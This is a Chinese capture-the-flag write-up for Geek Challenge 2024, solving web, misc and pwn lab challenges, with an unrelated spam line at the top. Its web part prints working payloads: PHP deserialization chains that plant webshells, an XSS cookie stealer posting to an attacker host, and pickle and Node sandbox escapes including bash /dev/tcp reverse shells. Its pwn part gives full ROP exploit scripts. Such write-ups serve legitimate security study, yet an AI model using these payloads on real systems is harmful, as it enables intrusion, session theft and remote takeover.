哈爾濱網(wǎng)站推廣購物鏈接
極客大挑戰(zhàn)2024wp
web 和misc 都沒咋做出來,全靠pwn?帶飛
排名
密碼學(xué)和re沒做出幾個,就不發(fā)了
web
ez_pop
源代碼
<?php
Class SYC{public $starven;public function __call($name, $arguments){if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){die('no hack');}file_put_contents($this->starven,"<?php exit();".$this->starven);}
}Class lover{public $J1rry;public $meimeng;public function __destruct(){if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){echo "success";$this->meimeng->source;}}public function __invoke(){echo $this->meimeng;}}Class Geek{public $GSBP;public function __get($name){$Challenge = $this->GSBP;return $Challenge();}public function __toString(){$this->GSBP->Getflag();return "Just do it";}}if($_GET['data']){if(preg_match("/meimeng/i",$_GET['data'])){die("no hack");}unserialize($_GET['data']);
}else{highlight_file(__FILE__);
}
pop 鏈子
lover::__destruct ->Geek::__get ->lover::__invoke ->Geek::toString ->SYC::__call
為了使鏈子正常運行,需要 把$lover->J1rry="data://text/plain,Welcome GeekChallenge 2024";
用偽協(xié)議控制file_get_contents的內(nèi)容,對于meimong的初步過濾,用16進制繞過即可
然后是死亡exit的繞過,由于黑名單過濾的很全,這里就嘗試strip_tags
寫入htaccess,預(yù)包含,flag文件名也給了 就是flag相關(guān)文章:https://xz.aliyun.com/t/8163
exp
<?php
Class SYC{public $starven;}Class lover{public $J1rry;public $meimeng;public function __construct(){$this->J1rry="data://text/plain,Welcome GeekChallenge 2024";}
}Class Geek{public $GSBP;
}$a=new lover();
$a->meimeng=new Geek();
$a->meimeng->GSBP=new lover();
$a->meimeng->GSBP->meimeng=new Geek();
$a->meimeng->GSBP->meimeng->GSBP=new SYC();
$a->meimeng->GSBP->meimeng->GSBP->starven="php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess";
$exp=str_replace('s:7:"meimeng"','S:7:"\6d\65\69\6d\65\6e\67"',serialize($a));
echo urlencode($exp);
echo "\n";
發(fā)送一次寫入,再刷新一次包含就可以看見flag
problem_on_my_web
訪問/manager,提示要我傳一個post參數(shù)url,然后give gift on cookie,感覺就是要打xss偷cookie
發(fā)送消息的地方填
<script>
img = new Image();
img.src='http:/ip/cookie.php?cookie='+document.cookie;
img.width = 0;
img.height = 0;
</script>
vps上放一個cookie.php
<?php
$cookie = $_GET['cookie'];
$ip = getenv('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$referer = getenv('HTTP_REFERER');
$fp = fopen( 'cookie.txt', 'a');
fwrite($fp,"IP: ".$ip." │ Date And Time: ".$time." | Referer: ".$referer." | Cookie: ".$cookie.'|||');
fclose($fp);
?>
發(fā)送了上面的xss信息后,在manager路由傳http://127.0.0.1即可,過一會即可在cookie.txt里看到flag
ez_http
根據(jù)要求一個個添加參數(shù)和http頭即可
import requestsurl="http://80-ede138cf-40a4-4102-a7eb-cc54a3144be8.challenge.ctfplus.cn/?welcome=geekchallenge2024"
cookies={ 'token':'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3MzAwMTI2MzEsIm5iZiI6MTczMDAxMjYzMSwiZXhwIjoxNzMwMDE5ODMxLCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6dHJ1ZX0.rndv-ew4zbtQJZXgR_Quqa-xR-E6p1WXindKnLKbO4k'}
header={'X-Real-IP':'127.0.0.1','Referer':'https://www.sycsec.com','STARVEN':'I_Want_Flag',}
data={'username':'Starven','password':'qwert123456'}res=requests.post(url=url,data=data,headers=header,cookies=cookies)
print(res.text)
Can you pass me
ssti 繞過,{%%}繞{{, attr繞[],關(guān)鍵詞的過濾全用八進制編碼,然后發(fā)現(xiàn)不能直接查看flag,用base64 /flag帶出來
{%print(lipsum|attr('\137\137\147\154\157\142\141\154\163\137\137')|attr('\137\137\147\145\164\151\164\145\155\137\137')('\157\163')|attr('\160\157\160\145\156')('\142\141\163\145\066\064\040\057\146\154\141\147')|attr('\162\145\141\144')())%}
ez_ssrf
www.zip泄露源碼
h4d33333.php
<?php
error_reporting(0);
if(!isset($_POST['user'])){$user="stranger";
}else{$user=$_POST['user'];
}if (isset($_GET['location'])) {$location=$_GET['location'];$client=new SoapClient(null,array("location"=>$location,"uri"=>"hahaha","login"=>"guest","password"=>"gueeeeest!!!!","user_agent"=>$user."'s Chrome"));$client->calculator();echo file_get_contents("result");
}else{echo "Please give me a location";
}
calculator.php
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";function check($auth) {global $admin,$adminpass;$auth = str_replace('Basic ', '', $auth);$auth = base64_decode($auth);list($username, $password) = explode(':', $auth);echo $username."<br>".$password;if($username===$admin && $password===$adminpass) {return 1;}else{return 2;}
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){if (check($auth)===2) {if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {die("Invalid expression");}else{$result=eval("return $expression;");file_put_contents("result",$result);}}else{$result=eval("return $expression;");file_put_contents("result",$result);}
}else{exit("Hacker");
}
calculator.php 需要本地訪問,h4d33333.php的SOAPcilient 對象可以觸發(fā)__call
去訪問,文件頭信息可控造成CRLF注入,http頭部的信息和請求參數(shù)都可以控制,控制一下認(rèn)證信息滿足要求,即可繞過白名單執(zhí)行eval
crlf exp
from urllib.parse import quote
payload="expression=system('cat /flag');&a="
print(quote(f"""test\r\nAUTHORIZATION:Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N01\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {len(payload)}\r\n\r\n{payload}"""))
然后發(fā)送了但是返回的東西看不了,還是直接訪問/result得到的flag
not_just_pop
源碼
<?php
highlight_file(__FILE__);
ini_get('open_basedir');class lhRaMK7{public $Do;public $You;public $love;public $web;public function __invoke(){echo "我勒個豆,看來你有點實力,那接下來該怎么拿到flag呢?"."<br>";eval($this->web);}public function __wakeup(){$this->web=$this->love;}public function __destruct(){die($this->You->execurise=$this->Do);}}class Parar{private $execurise;public $lead;public $hansome;public function __set($name,$value){echo $this->lead;}public function __get($args){if(is_readable("/flag")){echo file_get_contents("/flag");}else{echo "還想直接讀flag,洗洗睡吧,rce去"."<br>";if ($this->execurise=="man!") {echo "居然沒墜機"."<br>";if(isset($this->hansome->lover)){phpinfo();}}else{echo($this->execurise);echo "你也想被肘嗎"."<br>";}}}
}class Starven{public $girl;public $friend;public function __toString(){return "試試所想的唄,說不定成功了"."<br>".$this->girl->abc;}public function __call($args1,$args2){$func=$this->friend;$func();}}
class SYC{private $lover;public $forever;public function __isset($args){return $this->forever->nononon();}}$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {unserialize(base64_decode($Syclover));throw new Exception("None");
}else{echo("怎么不給我呢,是不喜歡嗎?");
}
稍微復(fù)雜了一點的pop
lhRaMK7::__destruct -> Parar::__set -> Starven::__toString -> Parar::__get ->SYC::__isset ->Starven::__call ->lhRaMK7::__invoke
從代碼中就可以看出來,flag無法直接讀取,感覺要提權(quán),為了順利反序列化,還要刪掉最后的}觸發(fā)fast-desruct繞過異常,題目php版本還是7.2,直接全部屬性改為public
到eval的時候,發(fā)現(xiàn)system用不了,phpinfo發(fā)現(xiàn)有disable_function,寫個馬,然后蟻劍插件繞過,exp
<?php
// highlight_file(__FILE__);
// ini_get('open_basedir');class lhRaMK7{public $Do;public $You;public $love;public $web;public function __construct(){$this->You=new Parar();}}class Parar{public $execurise;public $lead;public $hansome;public function __construct(){$this->lead=new Starven();}
}class Starven{public $girl;public $friend;
}
class SYC{public $lover;public $forever;}$a=new lhRaMK7();
$a->You=new Parar();
$a->You->lead=new Starven();
$a->You->lead->girl= new Parar();
$a->You->lead->girl->execurise='man!';
$a->You->lead->girl->hansome=new SYC();
$a->You->lead->girl->hansome->forever=new Starven();
$a->You->lead->girl->hansome->forever->friend=new lhRaMK7();
// $a->You->lead->girl->hansome->forever->friend->love='phpinfo();';
$a->You->lead->girl->hansome->forever->friend->love='$a="PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=";file_put_contents("shell.php",base64_decode($a));';
$exp=substr(serialize($a),0,-1);
echo base64_encode($exp);
提權(quán),用sudo -l 有env,直接env提權(quán)即可
nosanbox
一開始要登陸,提示manggodb,上網(wǎng)就找到了一個nosql注入的payload ,類似mysql的萬能密碼
{"username":{"$ne":1},"password": {"$ne":1}}
nodejs vm沙箱逃逸,比較簡單,網(wǎng)上就有很多文章,不能用引號,于是全用模板字符串,還能繞黑名單
本來的payload是利用報錯帶出命令結(jié)果,這里不回顯報錯信息,于是 寫個 sh,然后反彈shell,exp
一次編碼會有+,所以這里編碼兩次
throw new Proxy({}, {get: function(){const c = arguments.callee.caller;const p = (c.constructor.constructor(`${`return pro${`cess`}`}`))();const obj = p.mainModule.require(`${`child_p${`ro`}cess`}`);const ex = Object.getOwnPropertyDescriptor(obj,`${`${`exe`}cSync`}` );return ex.value(`${`echo WW1GemFDQXRZeUFuWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4NExqRXpOQzR5TVRVdU1qVXdMekV5TXpRZ01ENG1NU2M9 |base64 -d |base64 -d > 1.sh`}`).toString();}
})
然后sh 1.sh即可
baby_upload
發(fā)現(xiàn)上傳的文件名可控,一開始嘗試s.php/啥的,會報錯,后面嘗試雙寫就繞過了 s.php.php
源代碼用strstr函數(shù)獲取后綴,難怪可以
ez_include
require_once繞過 文章:https://www.anquanke.com/post/id/213235
payload
?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
然后來到levelllll2.php
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){$file = $_GET ["syc"];$hint = "register_argc_argv = On";if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {die("hint都給的這么明顯了還不會做?");}if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){include $file;}
}
提示很明顯了,打pearcmd包含,file變量不會用黑名單里的東西,無傷大雅,payload
?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET[1]);?>+/var/www/html/shell.php
然后查看flag即可,根目錄沒有,在/proc/self/environ
php不比java差
源碼
<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";class Challenge{public $file;public function Sink(){echo "<br>!!!A GREAT STEP!!!<br>";echo "Is there any file?<br>";if(file_exists($this->file)){global $FLAG;echo $FLAG;}}
}class Geek{public $a;public $b;public function __unserialize(array $data): void{$change=$_GET["change"];$FUNC=$change($data);$FUNC();}
}class Syclover{public $Where;public $IS;public $Starven;public $Girlfriend;public function __toString(){echo "__toString is called<br>";$eee=new $this->Where($this->IS);$fff=$this->Starven;$eee->$fff($this->Girlfriend);}
}unserialize($_POST['data']);
考了好多pop鏈,這么喜歡pop嗎
起點是__unserialize
,$data
里的鍵值對用來還原對象的屬性,$change
可控,使用implode
,一個值設(shè)為
Syclover即可觸發(fā)toString
,然后就卡了一會,再回去看題目發(fā)現(xiàn)提到了java,java反序列化常用反射,經(jīng)過搜索發(fā)現(xiàn)這里可以反射調(diào)用system,直接看flag看不了,那就寫馬,發(fā)現(xiàn)要用file,suid提權(quán),exp
<?phperror_reporting(0);class Challenge{public $file;
}class Geek{public $a;public $b;}class Syclover{public $Where;public $IS;public $Starven;public $Girlfriend;}
$a=new Geek();
$a->a=new Syclover();
$a->a->Where='ReflectionFunction';
$a->a->IS='system';
$a->a->Starven="invokeArgs";
$a->a->Girlfriend=array("echo '<?=@eval(\$_POST[cmd]);' > /var/www/html/shell.php");
echo urlencode(serialize($a));
ez_python
注冊登錄后,隨便輸入了點評論,就提示訪問/starven_s3cret
,訪問獲得源碼分析
import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import blackapp = Flask(__name__)#To Ctfer:給你源碼只是給你漏洞點的hint,怎么繞?black.py黑盒,唉無意義
@app.route('/')
def index():return render_template_string(open('templates/index.html').read())@app.route('/register', methods=['GET', 'POST'])
def register():if request.method == 'POST':usname = request.form['username']passwd = request.form['password']if usname and passwd:heart_cookie = secrets.token_hex(32)response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")response.set_cookie('heart', heart_cookie)return responsereturn render_template('register.html')@app.route('/login', methods=['GET', 'POST'])
def login():heart_cookie = request.cookies.get('heart')if not heart_cookie:return render_template('warning.html')if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:statement = request.form['statement']try:heal_state = base64.b64decode(statement)print(heal_state)for i in black.blacklist:if i in heal_state:return render_template('waf.html')pickle.loads(heal_state)res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")os.system("echo " + flag + " > /flag")return resexcept Exception as e:print( e)passreturn "Error!!!! give you hint: maybe you can view /starven_s3cret"return render_template('login.html')@app.route('/monologue',methods=['GET','POST'])
def joker():return render_template('joker.html')@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():return send_file(__file__,as_attachment=True)if __name__ == '__main__':app.run(host='0.0.0.0', port=5000, debug=False)
可以看到在login路由有個反序列化,有個waf不知道,嘗試反彈shell 就觸發(fā)了waf,說要換個思路,那就內(nèi)存馬,用最常用的還不行,筆記里往下翻了幾個才找到能用的
payload:
import pickle
import base64
opcode=b'''cbuiltins
exec
(S"app.backup_func=app.view_functions['index'];app.view_functions['index']=lambda : __import__('os').popen(request.args.get('cmd')).read() if 'cmd' in request.args.keys() is not None else app.backup_func()"
tR.'''print(base64.b64encode(opcode).decode())
然后就在根路由傳cmd參數(shù)命令即可,看了看waf
blacklist = [b'netcat', b'bash', b'var', b'etc', b'socat', b'telnet', b'python', b'perl', b'nc',b'before_request',b'after_request',b'teardown_request',b'teardown',b'context_processor',b'template_filter',b'socket',b'sh',b'mkfifo',b'ncat'b'curl',b'wget',b'php',b'ruby',b'lua',b'java',b'cpp',b'gcc',b'g++',b'connect']
rce_me
考察php的一些性質(zhì),按要求傳參即可
-
直接post start=start now
-
md5("Geekchallenge2024_bmKtL")
就是經(jīng)典0e,找一個數(shù)字sha1后0e的 -
有個
foreach ($_GET as $key => $value) {$$key = $value;}
明顯的變量覆蓋,后面的在get傳對應(yīng)參數(shù)名
intval漏洞:php<7.2.25時,intval函數(shù)不能正常解析字符串形式的科學(xué)表達式,會返回底數(shù),傳year=1e4,intval(
$year
)解析字符串'1e4'
返回1,過第一個條件,后面的是$num+1
,數(shù)字和字符串相加,php會把字符串轉(zhuǎn)為數(shù)字再相加,所以這是就會被解析為10000,從而過第二個條件 -
purpose傳數(shù)組就行,preg_match無法處理數(shù)組。最后就可以rce了
payload
?year=1e4&purpose[]=rce&code=system('cat /flag');post: start=start now&_[2024.geekchallenge.ctf=10932435112
jwt_pickle
感覺考點都在web,并沒涉及啥密碼學(xué)知識
漏洞點在jwt的簽名和檢驗的算法不一致,encode是RS256,decode確是RS256和HS256都可以
RS256是非對稱加密,HS256是對稱加密,我們可以通過工具rsa2sign.py,得到公鑰,再寫腳本把payload用HS256加密一次,密鑰就用得到的公鑰(檢驗時允許HS256)
introduction 有反序列化漏洞,直接反彈shell
腳本
import jwt
import base64
# 修改了源碼方可成功 site-packages/jwt/algorithms.py
# 注釋掉拋出異常的部分
public ="""-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAs2aM9wXti4Lm3cBNsJ6edBuKsRaXxW+JHIxDcuVRbAFWt7XLqBMg
NIWLeZ5O6rVkqz1SaD2aEHvyaxZMSN7vXHlgn5keVtTJRbDMl+dzP32F461rGa1K
DSvfac512Rl1Dl+quq5RmZotsjDWV4xEGolgBVJoFv+/M8X/WO+zl9MMF7ZV22Fd
PsFjq4bX7koU3yadPDBRVNcAjuYEy4OybCOlhnt4zeg/NdK6Rxs763iBA5/+ZusR
UAL9KmQ1wV7NDPtUjb3yBwv/3bHR+j6drlW5cc/f6vJxv/xsA5WpgkLDhUCkH8A0
x9dvqeAXvlIFaJXp3Bk01jrqwWwe+oJlpQIDAQAB
-----END RSA PUBLIC KEY-----
"""
opcode=b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
tR.'''
opcode=base64.b64encode(opcode).decode()
payload={"username": "hello",'password':'e10adc3949ba59abbe56e057f20f883e',"is_admin": True,'introduction':opcode}
print(jwt.encode(payload, key=public, algorithm='HS256'))
SecretInDrivingSchool
源碼發(fā)現(xiàn)后臺地址,訪問后有提示密碼是三位字母+@chenxing,寫了個字典就開始爆,爆了半天發(fā)現(xiàn)就是SYC
進入后臺有個編輯廣告的地方,里面是php代碼,改為rce的就出了,用編碼繞過waf
"\x73\x79\x73\x74\x65\x6d"("\x63\x61\x74\x20\x2f\x66\x6c\x61\x67");
system('cat /flag');
100%的?
看js代碼就有了,base64解碼
Misc
簽到
關(guān)注公眾號,發(fā)送得flag
Truth of Word
附件是一個word文檔,
全選 然后字體變紅就能看到第一段flag,
復(fù)制一份后綴改為zip解壓,發(fā)現(xiàn)有個bin文件,是宏,返回docx查看宏得到第二段flag
查看解壓出來的壓縮包中的media文件夾,在一張圖片中發(fā)現(xiàn)第三段flag
SYC{W0rd_H@5@_Ama1n9_StrUCtu3e!}
Welcome_jail
懶得思考了,直接走繼承鏈,用chr繞過引號的過濾
[i for i in [].__class__.__mro__[-1].__subclasses__() if i.__name__ == (chr(95)+chr(119)+chr(114)+chr(97)+chr(112)+chr(95)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101))][0].__init__.__globals__[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(99)+chr(116)+chr(102)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))
cimbar
上網(wǎng)搜了一下i,cimbar是用攝像頭來傳文件的一種技術(shù),然后找到了各個字符對應(yīng)的4位二進制的對應(yīng)關(guān)系圖,https://aigcdaily.cn/news/b24u20oz8s9djnd/
一個個對著翻譯即可,然后二進制轉(zhuǎn)ascii就行
舔狗的覺醒
附件解壓是個txt,里面一串16進制,開頭05 b4 30,一看就是兩兩逆序,寫個腳本
with open('byte-revenge.txt','r') as file:f=file.read().replace(' ','').replace("\n","")reversed_pairs = ''.join([f[i:i+2][::-1] for i in range(0, len(f), 2)])bin_data=bytes.fromhex(reversed_pairs)with open('a.zip','wb') as f:f.write(bin_data)
解壓得到的壓縮包,有個flag.pdf,提示
感覺是圖片的嵌套,上網(wǎng)找了網(wǎng)站https://pdfcandy.com/來提取pdf所有圖片,就有了flag
dosomemath
給了源碼,那個算式本地跑一下是9872,但是不能用數(shù)字,看那個白名單就知道要用一些魔術(shù)方法來表示數(shù)字,
打開vscode,輸入().__
對著自動補全出的魔術(shù)方法一個個看,就可以看到__ge__
,嘗試了一下,就發(fā)現(xiàn)
().__ge__(())+().__ge__(())=2
就可以通過().__ge__(())
來構(gòu)造任意數(shù)字,9872分解為((16)*(((20)*(30))+(17)))
=,一個個+肯定會太長的
payload
payload="().__ge__(())"def get_payload(num):tmp=[payload]*numres='+'.join(tmp)return res
#(16)*(((20)*(30))+(17))
target=f'({get_payload(16)})*((({get_payload(20)})*({get_payload(30)}))+({get_payload(17)}))'
print(target)
print(eval(target))
ez_jpg
給了個txt,一串很長的16進制,翻到最后是8DFF,明顯是jpg的文件頭逆序,找ai寫個腳本逆序下就行
得到一個有點亂的圖片,然后修改寬高就能看到一點flag,用ps修一下更好看,但是發(fā)現(xiàn)也可以直接看
ez_pcap_1
直接在smb2流量中,找找就行,在最后的那個讀取文件的流量就有,太菜了2做不出來
雪
解壓附件得到圖片和white.txt,圖片名字提到watermarkh,就是盲水印,用工具提取到Th1si4st8eK3y
根據(jù)題目名另一個snow隱寫,密鑰就是Th1si4st8eK3y
SYC{Ma1by_y0u_w1ll_l1k3_sn0w}
hard_jail
show看了看源碼,這個waf,預(yù)期解感覺是要走內(nèi)置函數(shù)的裝飾器,但是不咋會,看到是white true 輸入的,直接嘗試輸入black=[]之后,waf就沒了,就可以直接命令執(zhí)行了
烏龜
一聽就感覺是無線電,sstv解出來的圖片上有密碼,deepsound用這個密碼就解出了奇怪的東西,問gpt說是logo語言的繪圖指令,找個網(wǎng)站把圖畫出來就有了flag
PWN
買黑嗎嘍了嗎
View里很明顯有一個寫str1的操作,然后就在思考怎么辦讓Balance大于0x100,但是實際上并不難,新手隨便買買都能觸發(fā)(看不看得出來另說),觸發(fā)后就能夠泄漏程序基地址,而后就可以正常ROP
from pwn import *io = process("./syscall")\# io = remote("nc1.ctfplus.cn", 31851)context.terminal = ['tmux', 'new-window']context.log_level = 'debug'context.arch = 'amd64'elf = ELF("./syscall")libc = elf.libcfor i in range(8):io.recv()io.sendline(b'1')io.recv()io.sendline(b'1')for i in range(6):io.recv()io.sendline(b'1')io.recv()io.sendline(b'2')\# gdb.attach(io)io.recv()io.sendline(b'2')\# io.sendline(b'2')io.send(b'%p')\# io.sendline(b'2')io.recvuntil(b'There are 8 commodity_1 and 6 commodity_2 in your pocket.\nAnd your Balance : 0x')elfbase = int(io.recv(14), 16) - 0x4090log.info("elfbase: 0x%x" % elfbase)pop_rdi = elfbase + 0x00000000000011f1log.info("pop_rdi: 0x%x" % pop_rdi)ret = elfbase + 0x000000000000101alog.info("ret: 0x%x" % ret)io.sendline(b'3')io.recvuntil(b'Tell me your feedback:')payload = b'A'*0x58 + p64(pop_rdi) + p64(elfbase + elf.got['puts']) + p64(elfbase + elf.plt['puts']) + p64(elfbase + elf.sym['main'])io.sendline(payload)io.recvuntil(b'Thanks for your feedback!We`ll do it better!\n')puts_addr = u64(io.recv(6).ljust(8, b'\x00'))log.info("puts_addr: 0x%x" % puts_addr)libcbase = puts_addr - libc.sym['puts']log.info("libcbase: 0x%x" % libcbase)system_addr = libcbase + libc.sym['system']log.info("system_addr: 0x%x" % system_addr)str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))log.info("str_bin_sh: 0x%x" % str_bin_sh)io.sendline(b'3')io.recvuntil(b'Tell me your feedback:')payload = b'A'*0x58 + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr)gdb.attach(io)io.sendline(payload)io.interactive()
00000
之前打另一個比賽剛遇見過打/dev/urandom里的所謂真隨機,確實是不能爆破,Geek沒有給爆破機會,算得上對新手友好,直接一直給\x00,就可以有機率過strcmp,然后直接看flag
from pwn import *\# io = process("./main")\# io = remote("nc1.ctfplus.cn", 27071)context.terminal = ['tmux', 'new-window']context.log_level = 'debug'context.arch = 'amd64'while True:\# io = process("./main")io = remote("nc1.ctfplus.cn", 41863)io.recv()io.recv()try:io.sendline(b'\x00')take = io.recv(timeout=1)if b'The password is wrong and you cannot access the secret files' not in take:io.interactive()else:io.close()continueexcept:io.interactive()
over_flow??
蠻有意思,如果對照一下save_to_file和read_from_file再加一點調(diào)試就會發(fā)現(xiàn)實際上rdi會變成我們給的參數(shù),而read_from_file多溢出的一位會成為rax,而后會調(diào)用syscall,所以控參數(shù)和系統(tǒng)調(diào)用直接寫在一個payload就行了(來自一個看到溢出發(fā)現(xiàn)就報錯的敏感,差點覺得又是啥沒學(xué)過的新東西要補[大哭])
from pwn import *\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})io = process("./over_data")\# io = remote('nc1.ctfplus.cn', 33092)elf = ELF("./over_data")\# libc = ELF("./libc-2.??.so")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))io.recvuntil(b'please input your choice\n')io.sendline(b'2')io.recvuntil(b'please input file name')gdb.attach(io)io.send(b'/bin/sh\x00\x3b')io.interactive()
Black_Myth_Wukong
snprintf把格式化丟臉上了,直接泄漏
然后試過直接正常用system rop,但是很可惜調(diào)試會發(fā)現(xiàn)偏移不確定,懶得調(diào)試,直接讓one_gadget填滿了
from pwn import *\# io = process("./main")io = remote("nc1.ctfplus.cn", 29311)elf = ELF("./main")libc = elf.libccontext.terminal = ['tmux','new-window']context.log_level = 'debug'io.recvuntil(b'Please enter any key to enter the game...')\# io.send(b'KKKKK')io.sendline()\# gdb.attach(io)io.recvuntil(b'>>')io.sendline(b'31')io.recvuntil(b'You defeated Guangzhi, and you obtained Guangzhi\'s weapon. Please accept it: ')libc_start_main = int(io.recv(12), 16) - 231log.info("libc_start_main: " + hex(libc_start_main))libcbase = libc_start_main - libc.symbols['__libc_start_main']log.info("libcbase: " + hex(libcbase))system = libcbase + libc.symbols['system']log.info("system: " + hex(system))str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))log.info("str_bin_sh: " + hex(str_bin_sh))pop_rdi = libcbase + 0x000000000002164flog.info("pop_rdi: " + hex(pop_rdi))ret = libcbase + 0x00000000000008aalog.info("ret: " + hex(ret))onegadget = libcbase + 0x4f29elog.info("onegadget: " + hex(onegadget))\# gdb.attach(io)\# payload = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'\# payload = b'A'*0xd8 + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system)payload = p64(onegadget)*2*16print(hex(len(payload)))io.recvuntil(b'>>')io.sendline(str(len(payload)).encode())\# payload = payload.ljust(256, b'A')io.sendline(payload)io.interactive()
我的空調(diào)呢?
第一反應(yīng)還以為這個菜單是個堆題,甚至堆題的模板都寫好了。。。
然后才發(fā)現(xiàn)連malloc和free都沒有,想著這下完了,又要搓好久哪的指針殘留,直接用完泄漏就想著肯定得看看程序具體指針了
結(jié)果代碼太亂了,懶得逆向,直接一頓調(diào)試,發(fā)現(xiàn)分配的時候沒有負(fù)數(shù)檢查,再一看上面的got表,直接心領(lǐng)神會,直接寫memset為system,在delete里memset一個/bin/sh的塊就行了
from pwn import *\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})\# io = process("./pwn")io = remote('nc1.ctfplus.cn', 34033)elf = ELF("./pwn")\# libc = ELF("./libc-2.??.so")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))def choose(choice):io.sendlineafter(b'<Your chioce>:', str(choice).encode())def alloc(beforecontent, aftercontent):\# def alloc(content):choose(1)\# io.sendlineafter(b'', str(id).encode())\# io.sendlineafter(b'', str(size).encode())\# io.sendlineafter(b'', str(len(content)).encode())io.sendafter(b'Your name:', beforecontent)io.sendafter(b'Introduce:', aftercontent)def delete(id):choose(3)io.sendlineafter(b'Index:', str(id).encode())def edit(id, content):choose(4)io.sendlineafter(b'Index:', str(id).encode())io.sendafter(b'message:', content)def show(id):choose(2)io.sendlineafter(b'Index:', str(id).encode())choose(5)io.recvuntil(b'Please input an address.(such as 0xffff)')\# gdb.attach(io)io.sendline(b'0x404018')io.recvuntil(b'massege:')puts_addr = u64(io.recv(6).ljust(8, b'\x00'))lg('puts_addr', puts_addr)libcbase = puts_addr - libc.symbols['puts']lg('libcbase', libcbase)system = libcbase + libc.symbols['system']lg('system', system)str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))lg('str_bin_sh', str_bin_sh)set_buf = libcbase + libc.symbols['setbuf']lg('set_buf', set_buf)printf = libcbase + libc.symbols['printf']lg('printf', printf)memset = libcbase + libc.symbols['memset']lg('memset', memset)read = libcbase + libc.symbols['read']lg('read', read)\# for i in range(0x10):\# alloc(str(i).encode(), str(i).encode())alloc(b'/bin/sh\x00', b'0')alloc(b'1', b'1')\# gdb.attach(io, 'b *0x4017e8')edit(-4, p64(set_buf) + p64(printf) + p64(system))delete(0)io.interactive()\# dbg()
FindG???t
有了over_flow???的經(jīng)驗,加上之前就聽過可以在libc_start_main附近找0x0f05當(dāng)syscall的手法,就直接加了個爆破,甚至懶得問ai,寫了個0x00~0xff遍歷[捂臉]
